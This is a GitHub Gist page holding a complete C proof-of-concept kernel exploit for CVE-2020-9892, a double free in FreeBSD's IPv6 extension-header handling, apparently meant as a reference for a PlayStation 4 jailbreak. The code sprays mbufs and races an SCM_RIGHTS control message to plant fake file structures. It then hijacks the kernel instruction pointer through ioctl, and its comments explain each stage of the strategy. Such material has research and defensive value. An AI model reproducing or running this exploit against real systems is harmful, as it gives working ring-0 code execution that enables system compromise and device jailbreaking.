Last active
June 25, 2021 08:24
-
-
Save Cryptogenic/448fd98813ab5a93182fb9620c013e17 to your computer and use it in GitHub Desktop.
Kernel exploit POC (Proof-of-Concept) for IP6_EXTHDR_CHECK double free (CVE-2020-9892). Interleaves with multi-threads for code exec. Mainly a reference for PS4 implementation.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* IP6_EXTHDR_CHECK Double Free (CVE-2020-9892) Exploit PoC for FreeBSD 9.0 | |
* https://github.com/google/security-research/security/advisories/GHSA-gxcr-cw4q-9q78 | |
* - | |
* Bug credit: Andy Nguyen (@theflow0) | |
* Exploit credit: @SpecterDev, @tihmstar | |
* Thanks: @sleirsgoevy, @littlelailo, flatz (@flat_z), @balika011 | |
* - | |
* Build: gcc -o expl ip6_expl_poc.c -pthread | |
* - | |
* Stability: 50-60% (18/32) w/ 2 CPUs and 2GB RAM in v2. Improved but somewhat tied to system state still. | |
* Still mainly a reference for PS4 port. | |
* - | |
* This file contains implementation for a FreeBSD/XNU/iOS kernel bug in the IPv6 subsystem. This | |
* POC will achieve code execution in ring0 / supervisor mode and set the instruction pointer to | |
* 0x41414141 to intentionally crash the kernel to demonstrate RIP control. | |
* | |
* A brief overview of the exploit strategy... | |
* | |
* The bug allows us to get a double free in the mbuf UMA zone in the kernel. We abuse this to | |
* acquire two references to the same mbuf via a tagged UDP packet spray. We then free one of the | |
* references to get it acquired by an SCM_RIGHTS control message on a local AF_UNIX socket. Since | |
* we still have the reference on our other tagged UDP packet, we free it to cause UAF, and interleave | |
* corruption to corrupt the stack of file pointers in the control message mid-processing to get | |
* crafted, userland-controlled file pointers stored in the process FD table. | |
* | |
* Now we have one or more file descriptors with attacker-controlled file pointers which contain a | |
* malicious file ops table with the ioctl function pointer pointing to 0x41414141. We simply call | |
* ioctl() on each fd we receive until we trigger code exec. If we fail, it means we lost the race | |
* and retry. If we can't reclaim the overlap, it's a fatal issue and a reboot will be needed since | |
* cleanup is irrepairably broken due to tainted state of the sockets, and process exit will crash the | |
* kernel. | |
* - | |
* v2 changes: | |
* - changed UAF reallocation spray to tcp packets from udp packets | |
* - changed UAF reallocation packet size from 0x504 to 0x7E8 | |
* - removed delay in tag spray | |
* - added some heap grooming before triggering UAF | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <time.h> | |
#include <errno.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <sys/mman.h> | |
#include <sys/ioctl.h> | |
#include <netinet/in.h> | |
#include <netinet/ip6.h> | |
// Takes a data buffer and zeroes it, then initializes the 4 byte routing header with the size and | |
// next header type given. | |
void build_routing_header(char *buf, uint64_t sz, uint8_t next_header) | |
{ | |
// Leave routing data null | |
memset(buf, 0, sz); | |
// Routing header | |
buf[0x0] = next_header; | |
buf[0x1] = (sz / 8) - 1; // Length is in units of octets not bytes | |
buf[0x2] = 0; | |
buf[0x3] = 0; | |
} | |
// Builds a raw packet consisting of a hop-by-hop header, fragment header, and auxiliary data with the info | |
// given, then sends it to the given fd on the loopback address (::1). | |
uint64_t send_fragment(int fd, char *data, uint64_t off, uint64_t sz, uint8_t final, uint32_t id, uint8_t next_header) | |
{ | |
uint64_t i; | |
uint8_t packetData[0x200]; | |
// Hop-by-hop headers | |
packetData[0x0] = IPPROTO_FRAGMENT; | |
packetData[0x1] = 0; | |
packetData[0x2] = IP6OPT_PADN; | |
packetData[0x3] = 4; | |
*(uint32_t *)(packetData + 4) = 0x41414141; | |
// Fragment header | |
size_t mid = off + !final; | |
packetData[0x8] = next_header; | |
packetData[0x9] = 0; | |
packetData[0xA] = mid / 256; | |
packetData[0xB] = mid % 256; | |
*(uint32_t *)(packetData + 0xC) = id; | |
// Auxiliary data | |
uint64_t dataOffset = 0x10; | |
for(i = 0; i < sz; i++) | |
{ | |
packetData[dataOffset + i] = data[i]; | |
} | |
// Send on loopback | |
struct sockaddr_in6 sin6 = { | |
.sin6_family = AF_INET6, | |
.sin6_addr = {0}, | |
.sin6_port = 0x1337, | |
}; | |
sin6.sin6_addr.s6_addr[15] = 1; | |
// Fire into the kernel | |
return sendto(fd, packetData, dataOffset + sz, 0, (struct sockaddr *)&sin6, sizeof(sin6)); | |
} | |
// Sends a packet on a socket to get an mbuf allocated. | |
int push_mbuf(int sock, char *in_data, uint64_t sz) | |
{ | |
return sendto(sock, in_data, sz, 0, 0, 0); | |
} | |
// Sends a packet on a socket to get an mbuf allocated. | |
int push_mbuf2(int sock, char *in_data, uint64_t sz) | |
{ | |
return sendto(sock, in_data, sz, MSG_DONTWAIT, 0, 0); | |
} | |
// Receives a packet on the socket to get an mbuf free'd. | |
int pop_mbuf(int sock, char *out_data, uint64_t sz) | |
{ | |
return recvfrom(sock, out_data, sz, MSG_DONTWAIT, 0, 0); | |
} | |
// Gets a packet's data on the socket without removing it from the queue / free'ing it. | |
int peek_mbuf(int sock, char *out_data, uint64_t sz) | |
{ | |
return recvfrom(sock, out_data, sz, MSG_DONTWAIT | MSG_PEEK, 0, 0); | |
} | |
// Creates an IPV4 UDP socket and binds + connects it to the loopback interface, returning | |
// the newly connected socket descriptor. | |
int create_udp_loopback_sock() | |
{ | |
// Initialize a UDP IPv4 socket | |
int s = socket(AF_INET, SOCK_DGRAM, 0); | |
struct sockaddr_in sin = { | |
.sin_family = AF_INET, | |
.sin_addr = {0x100007f}, | |
.sin_port = 0, | |
}; | |
// Bind it to loopback interface and connect to it | |
uint64_t socklen = sizeof(struct sockaddr_in); | |
bind(s, (struct sockaddr *)&sin, socklen); | |
getsockname(s, (struct sockaddr *)&sin, (socklen_t *)&socklen); | |
connect(s, (struct sockaddr *)&sin, socklen); | |
return s; | |
} | |
// Writes a stack of file descriptors to the given fd. Borrowed from sleirsgoevy's poc since we know it works. | |
ssize_t | |
write_fd(int fd, void *ptr, size_t nbytes, int* sendfd) | |
{ | |
int i; | |
struct msghdr msg; | |
struct iovec iov[1]; | |
union { | |
struct cmsghdr cm; | |
char control[CMSG_SPACE(253*sizeof(int))]; | |
} control_un; | |
struct cmsghdr *cmptr; | |
msg.msg_control = control_un.control; | |
msg.msg_controllen = sizeof(control_un.control); | |
cmptr = CMSG_FIRSTHDR(&msg); | |
cmptr->cmsg_len = CMSG_LEN(253*sizeof(int)); | |
cmptr->cmsg_level = SOL_SOCKET; | |
cmptr->cmsg_type = SCM_RIGHTS; | |
for(i = 0; i < 253; i++) | |
((int *) CMSG_DATA(cmptr))[i] = sendfd[i]; | |
msg.msg_name = NULL; | |
msg.msg_namelen = 0; | |
iov[0].iov_base = ptr; | |
iov[0].iov_len = nbytes; | |
msg.msg_iov = iov; | |
msg.msg_iovlen = 1; | |
return(sendmsg(fd, &msg, 0)); | |
} | |
// Reads a stack of file descriptors from the given fd. Borrowed from sleirsgoevy's poc since we know it works. | |
ssize_t | |
read_fd(int fd, void *ptr, size_t nbytes, int *recvfd) | |
{ | |
struct msghdr msg; | |
struct iovec iov[1]; | |
ssize_t n; | |
int newfd; | |
int i; | |
union { | |
struct cmsghdr cm; | |
char control[CMSG_SPACE(253*sizeof(int))]; | |
} control_un; | |
struct cmsghdr *cmptr; | |
msg.msg_control = control_un.control; | |
msg.msg_controllen = CMSG_SPACE(253*sizeof(int)); | |
msg.msg_name = NULL; | |
msg.msg_namelen = 0; | |
iov[0].iov_base = ptr; | |
iov[0].iov_len = nbytes; | |
msg.msg_iov = iov; | |
msg.msg_iovlen = 1; | |
if ( (n = recvmsg(fd, &msg, 0)) < 0) | |
return(n); | |
if ( (cmptr = CMSG_FIRSTHDR(&msg)) != NULL && | |
cmptr->cmsg_len == CMSG_LEN(253*sizeof(int))) { | |
for(i = 0; i < 253; i++) | |
recvfd[i] = ((int *) CMSG_DATA(cmptr))[i]; | |
} else { | |
for(i = 0; i < 64; i++) | |
printf("%08x\n", ((int*)CMSG_DATA(cmptr))[i]); | |
*recvfd = -1; | |
} | |
return(n); | |
} | |
#define PACKET_ONE_SZ 0x60 // Size of first packet fragment | |
#define PACKET_TWO_SZ 0x20 // Size of second packet fragment | |
#define SPRAY_SOCKET_NUM 0x100 // Number of times for most sprays | |
#define SPRAY_PACKET_PTRS 0xFD // Number of file pointers to fake in overlap packet | |
volatile int start_thread = 0; | |
// Raw IPV6 socket for triggering the bug | |
int raw_sock; | |
// UDP spray sockets and TCP socketpairs for SCM_RIGHTS messages to overwrite | |
int udp_socks[SPRAY_SOCKET_NUM]; | |
int tcp_sockpairs[SPRAY_SOCKET_NUM * 2]; | |
// Scratch / trash buffer primarily for popping messages out of the queue | |
int popbuf[37]; | |
// Overlap trackers so we know which sockets share an mbuf | |
int overlap_one = -1; | |
int overlap_two = -1; | |
// Structure to spray into UAF'd mbuf to smash file pointers | |
// - | |
// We need 4 bytes to align from 0xC to 0x10 since the file pointers are on 8-byte boundaries. | |
// We can use this padding for tags for the respray. We have to pack the struct because if we | |
// don't the compiler will insert padding after the tag which will mess with our UAF alignment. | |
struct overlap | |
{ | |
uint64_t pointers[SPRAY_PACKET_PTRS]; | |
}; | |
// Spray packet data | |
struct overlap *spray_packet; | |
// File ops struct from the kernel that we need to fake for code execution | |
struct fileops { | |
void *fo_read; | |
void *fo_write; | |
void *fo_truncate; | |
void *fo_ioctl; // <-- RIP hijack fptr | |
void *fo_poll; | |
void *fo_kqfilter; | |
void *fo_stat; | |
void *fo_close; | |
void *fo_chmod; | |
void *fo_chown; | |
int fo_flags; | |
}; | |
// File struct from the kernel we need to fake. Fields without comments are irrelevant and | |
// are not faked. | |
struct file { | |
void *f_data; | |
struct fileops *f_ops; // Important - fake for code execution | |
void *f_cred; | |
void *f_vnode; | |
short f_type; // Needs fake for ioctl() usage (socket type) | |
short f_vnread_flags; | |
volatile u_int f_flag; // Needs fake for ioctl() usage (RW flags) | |
volatile u_int f_count; // Needs fake for refcounting check | |
int f_seqcount; | |
off_t f_nextoff; | |
void *f_cdevpriv; | |
off_t f_offset; | |
void *f_label; | |
}; | |
void *corrupt_file_pointers(void *vargp) | |
{ | |
int i = 0; | |
printf("THREAD 2 STARTED!!!!\n"); | |
while(start_thread == 0) | |
{ | |
} | |
// Free the mbuf to UAF the SCM_RIGHTS control message | |
pop_mbuf(udp_socks[overlap_two], popbuf, sizeof(popbuf)); | |
// Smash file pointer stack with our own | |
for(i = 0; i < SPRAY_SOCKET_NUM; i++) | |
{ | |
push_mbuf(tcp_sockpairs[i], (char *)spray_packet, sizeof(struct overlap)); | |
} | |
} | |
int main() | |
{ | |
int i; | |
char newbuf[0x1000]; | |
int fds[256]; | |
pthread_t threadid; | |
/////////////////////////////////////////////////////////////// | |
// Stage 0 - Setup | |
/////////////////////////////////////////////////////////////// | |
// Setup our spray | |
spray_packet = malloc(sizeof(struct overlap)); | |
// Setup our fake file object | |
struct file *fakeFile = malloc(sizeof(struct file)); | |
struct fileops *fops = malloc(sizeof(struct fileops)); | |
memset(fakeFile, 0, sizeof(struct file)); | |
memset(fops, 0, sizeof(struct fileops)); | |
fakeFile->f_ops = fops; | |
fops->fo_ioctl = 0x41414141; // RIP = 0x41414141 for POC | |
fakeFile->f_type = 2; // DTYPE_SOCKET | |
fakeFile->f_flag = 1 | 2; // FREAD | FWRITE | |
fakeFile->f_count = 1337; // Reference count, just some high # so it never gets released | |
printf("fakeFile = %p\n", fakeFile); | |
// Pre-emptively setup spray packet | |
for(i = 0; i < SPRAY_PACKET_PTRS; i++) | |
spray_packet->pointers[i] = (uint64_t)(fakeFile); | |
// Setup thread 2 | |
pthread_create(&threadid, NULL, corrupt_file_pointers, NULL); | |
// Used for debugging (by checking this fixed address from kernel we can target debug logs) | |
char *dbgmapping = mmap((void*)0xbeef0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
printf("dbgmapping mapped %p\n", dbgmapping); | |
// Setup file descriptors to pass | |
for(i = 0; i < 256; i++) | |
fds[255-i] = open("/etc/passwd", O_RDONLY); | |
for(i = 253; i < 256; i++) | |
close(fds[i]); | |
for(i = 0; i < 32; i++) | |
printf("i = %d | fd = %d\n", i, fds[i]); | |
memset((char *)newbuf, 0xFF, 1024); | |
// Create raw socket | |
raw_sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS); | |
// Create spray UDP sockets | |
for(i = 0; i < SPRAY_SOCKET_NUM; i++) | |
udp_socks[i] = create_udp_loopback_sock(); | |
// Create TCP socketpairs | |
for(i = 0; i < SPRAY_SOCKET_NUM; i++) | |
socketpair(AF_UNIX, SOCK_STREAM, 0, tcp_sockpairs + 2 * i); | |
// Build up double free packet | |
char doubleFreePacket[PACKET_ONE_SZ + PACKET_TWO_SZ]; | |
build_routing_header((char *)(doubleFreePacket + 0x00), PACKET_ONE_SZ, IPPROTO_ROUTING); | |
build_routing_header((char *)(doubleFreePacket + PACKET_ONE_SZ), PACKET_TWO_SZ, IPPROTO_ROUTING); | |
/////////////////////////////////////////////////////////////// | |
// Stage 1 - Double free & reclaim on UDP pair | |
/////////////////////////////////////////////////////////////// | |
printf("[+] Double freeing mbuf and reclaiming with tagged packets\n"); | |
// Trigger double free | |
send_fragment(raw_sock, | |
doubleFreePacket, | |
0, | |
PACKET_ONE_SZ, | |
0, | |
0x60606060, | |
IPPROTO_ROUTING | |
); | |
send_fragment(raw_sock, | |
doubleFreePacket, | |
PACKET_ONE_SZ, | |
sizeof(doubleFreePacket) - PACKET_ONE_SZ, | |
1, | |
0x60606060, | |
IPPROTO_ROUTING | |
); | |
// 1 second | |
struct timespec one_sec = { | |
.tv_sec = 1, | |
.tv_nsec = 0 | |
}; | |
// 10 milliseconds | |
struct timespec ten_millisecs = { | |
.tv_sec = 0, | |
.tv_nsec = 10000000 | |
}; | |
// Sleep to allow time for the double free to occur | |
nanosleep(&one_sec, 0); | |
// Spray tagged packets on UDP sockets to get an overlap pair | |
int tag_packet[49]; | |
for(i = 0; i < SPRAY_SOCKET_NUM; i++) | |
{ | |
tag_packet[0] = i; | |
push_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(tag_packet)); | |
} | |
// Sleep to allow time for all packets to be sprayed | |
nanosleep(&one_sec, 0); | |
// Search for the overlap by peeking each socket and looking for corruption. | |
// - | |
// The first corrupted packet should contain the index of the packet that overlapped with it. | |
printf("[+] Searching for overlap pair\n"); | |
for(i = 0; i < SPRAY_SOCKET_NUM; i++) | |
{ | |
peek_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(int)); | |
if(tag_packet[0] != i) | |
{ | |
overlap_one = i; | |
overlap_two = tag_packet[0]; | |
} | |
} | |
// If we failed to overlap, we failed to capture the pointers from the double free, needs re-run. | |
if(overlap_one <= 0 || overlap_two <= 0) | |
{ | |
printf("[!] Overlap failed!\n"); | |
return -1; | |
} | |
// Yay we found an overlap pair! | |
printf("[+] Found overlap pair: %d -> %d\n", overlap_one, overlap_two); | |
/////////////////////////////////////////////////////////////// | |
// Stage 2 - Trigger overlap on TCP socketpair | |
/////////////////////////////////////////////////////////////// | |
char bigcluster[2048] = {0}; | |
int outfds[253]; | |
dbgmapping[0] = 'X'; | |
for(i = 0; i < 49; i++) | |
tag_packet[i] = 0x41414141; | |
// 5 seconds | |
struct timespec five_secs = { | |
.tv_sec = 5, | |
.tv_nsec = 0 | |
}; | |
// 200 milliseconds | |
struct timespec twohundred_millisecs = { | |
.tv_sec = 0, | |
.tv_nsec = 200000000 | |
}; | |
nanosleep(&twohundred_millisecs, 0); | |
printf("[+] free 1\n"); | |
// Free the mbuf to overlap udp_socks[overlap_two] with SCM_RIGHTS control message | |
pop_mbuf(udp_socks[overlap_one], popbuf, sizeof(popbuf)); | |
// We need to know what socketpair has the overlap | |
int overlap_pair = -1; | |
// Spray SCM_RIGHTS messages into the overlap | |
for(i = 0; i < SPRAY_SOCKET_NUM; i++) | |
{ | |
write_fd(tcp_sockpairs[2*i], dbgmapping, 1, fds); | |
// Side-channel the overlapped UDP packet to determine what index we overlapped | |
peek_mbuf(udp_socks[overlap_two], (char *)&tag_packet, sizeof(int)); | |
printf("sockpair = %d, peek = %lx\n", (2*i), tag_packet[0]); | |
// The first packet that doesn't have a first dword of zero is the socketpair we overlapped | |
if(tag_packet[0] != 0 && overlap_pair == -1) | |
overlap_pair = 2*i; | |
} | |
// We now have an SCM_RIGHTS message overlapped with a UDP socket mbuf to cause controlled UAF | |
printf("[+] Socketpair %d -> %d has corruptable mbuf\n", overlap_pair, overlap_pair+1); | |
// Calm before the storm... | |
nanosleep(&five_secs, 0); | |
/////////////////////////////////////////////////////////////// | |
// Stage 3 - RACE | |
/////////////////////////////////////////////////////////////// | |
int rrv; | |
// Groom the heap a bit | |
for(i = 0; i < SPRAY_SOCKET_NUM; i++) | |
{ | |
if(i != overlap_two) | |
{ | |
pop_mbuf(udp_socks[i], popbuf, sizeof(popbuf)); | |
tag_packet[0] = i; | |
push_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(tag_packet)); | |
} | |
} | |
// Kickstart thread 2 to begin UAF | |
start_thread = 1; | |
// Start the read on the SCM_RIGHTS message we can smash with the other thread | |
rrv = read_fd(tcp_sockpairs[overlap_pair+1], dbgmapping, 1, outfds); | |
for(i = 0; i < 253; i++) | |
printf("outfds i = %d | fd = %d\n", i, outfds[i]); | |
// Hopefully we smashed it and have a fake file pointer created, attempt ioctl() on it to | |
// trigger RIP = 0x41414141 crash! | |
for(i = 0; i < 253; i++) | |
{ | |
errno = 0; | |
rrv = ioctl(outfds[i], 0x81200000); | |
printf("ioctl rv = %d | err = %s\n", rrv, strerror(errno)); | |
} | |
// If we reached here, we failed to smash it and lost the race | |
printf("Reached the end, rrv = %d\n", rrv); | |
// Never return, if we return and we failed, we die immediately because cleanup is borked | |
for(;;); | |
} |
:) stackoverflow is your friend
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I actually copy-pasted write_fd/read_fd from stackoverflow.